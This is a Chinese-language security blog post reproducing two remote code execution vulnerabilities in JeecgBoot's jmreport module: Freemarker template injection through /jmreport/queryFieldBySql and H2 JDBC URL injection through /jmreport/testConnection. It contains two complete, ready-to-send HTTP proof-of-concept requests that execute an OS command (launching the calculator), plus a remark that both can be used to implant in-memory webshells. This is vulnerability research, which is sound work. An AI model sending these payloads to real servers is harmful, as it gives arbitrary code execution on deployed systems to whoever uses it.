JeecgBoot SSTI以及JDBC RCE 复现

今天接到消息,jeecgboot有SSTI 和 JDBC RCE漏洞,马上来分析复现一下。

文笔不好,没去详细分析,随手一写。

情报

两个接口存在RCE,分别是/jmreport/queryFieldBySql/jmreport/testConnection

SSTI

根据线索:

image-20230815194958954

直接用JADX找到对应代码

image-20230815195254073

很直接嘛,直接传入sql,那直接构造请求先试试:

image-20230815195403547

居然还有黑名单?

image-20230815195535360

输入个简单的试试:

image-20230815200130214

这里起码还有个SQL注入漏洞

线索中说明了用Freemarker处理了传入的sql语句,那直接打SSTI试试。

poc

1
2
3
4
5
6
7
8
9
10
11
12
POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
Host: 192.168.90.1:3100
Origin: http://192.168.90.1:3100
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 123

{"sql":"select 'result:<#assign ex=\"freemarker.template.utility.Execute\"?new()> ${ ex(\"open -a calculator.app \") }' "}

image-20230815191939722

image-20230815200355970

JDBC RCE

漏洞利用有个前提,必须有H2驱动的依赖。

用JADX在反编译的代码中搜索testConnection,找到对应的接口

org.jeecg.modules.jmreport.desreport.a.a#a(org.jeecg.modules.jmreport.dyndb.vo.JmreportDynamicDataSourceVo)

image-20230815191024482

在IDEA中查看。

代码被压的爹妈都不认识了。

image-20230815193231824

image-20230815193218204

根据入参@RequestBody JmreportDynamicDataSourceVo var1 知道,传入一个JmreportDynamicDataSourceVo 对象的JSON。

JmreportDynamicDataSourceVo

image-20230815193709868

里面能自定义dbUrl,那么就直接构造参数,试试看。

dbUrl用前段时间的metabase poc 改改。

image-20230815194412994

很简单就弹计算器了。

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
POST /jeecgboot/jmreport/testConnection HTTP/1.1
Host: 192.168.90.1:3100
Content-Length: 383
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
Content-Type: application/json;charset=UTF-8
Origin: http://192.168.90.1:3100
Referer: http://192.168.90.1:3100/login?redirect=/dashboard/analysis
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

{
"id": "1",
"code": "dataSource1",
"dbType": "H2",
"dbDriver": "org.h2.Driver",
"dbUrl": "jdbc:h2:mem:test;init=CREATE TRIGGER shell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\u000A\u0009java.lang.Runtime.getRuntime().exec('open -a calculator.app')\u000A$$",
"dbName": "test",
"dbUsername": "sa",
"dbPassword": "",
"connectTimes": 5
}

后记

  1. Freemarker 可以进一步注入内存马。
  2. H2 RCE 其实也可以注入内存马。
  3. jeecgboot 如没有特地引入H2驱动依赖,其实也能用另一种方式成功RCE,暂时不放出来。

参考:

Java安全之freemarker 模板注入

墨菲

jeecg-boot/积木报表基于SSTI的任意代码执行漏洞

jeecg-boot/积木报表基于H2驱动的任意代码执行漏洞